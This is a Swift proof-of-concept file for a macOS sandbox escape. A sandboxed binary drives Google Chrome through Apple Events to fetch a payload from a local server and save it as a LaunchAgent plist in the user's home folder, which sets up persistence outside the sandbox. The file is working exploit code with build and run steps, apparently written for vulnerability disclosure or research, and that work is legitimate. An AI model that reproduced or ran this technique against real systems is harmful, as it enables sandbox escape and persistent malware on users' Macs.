// Minimal sandboxed macOS caller that drives Chrome via Apple Events.
// Build with the accompanying SandboxedCaller.entitlements (App Sandbox ON,
// scripting-targets = com.google.Chrome:["*"]). This binary has NO ability
// to write outside its own container, yet the script it sends causes Chrome
// to write ~/Library/LaunchAgents/com.poc.persist.plist.
//
// Build:
//   swiftc main.swift -o SandboxedCaller
//   codesign -s - --entitlements ../SandboxedCaller.entitlements SandboxedCaller
//
// Run:
//   ./SandboxedCaller

import Foundation

let script = """
set payloadURL to "http://127.0.0.1:8080/payload"
set destPath to (POSIX path of (path to home folder)) & "Library/LaunchAgents/com.poc.persist.plist"
tell application "Google Chrome"
  if (count of windows) = 0 then make new window
  tell window 1
    set t to make new tab with properties {URL:payloadURL}
  end tell
  repeat 100 times
    try
      if (loading of t) is false then exit repeat
    end try
    delay 0.1
  end repeat
  save t in (POSIX file destPath) as "only html"
end tell
"""

var err: NSDictionary?
if let s = NSAppleScript(source: script) {
  s.executeAndReturnError(&err)
  if let err = err { print("AppleScript error: \(err)") }
}
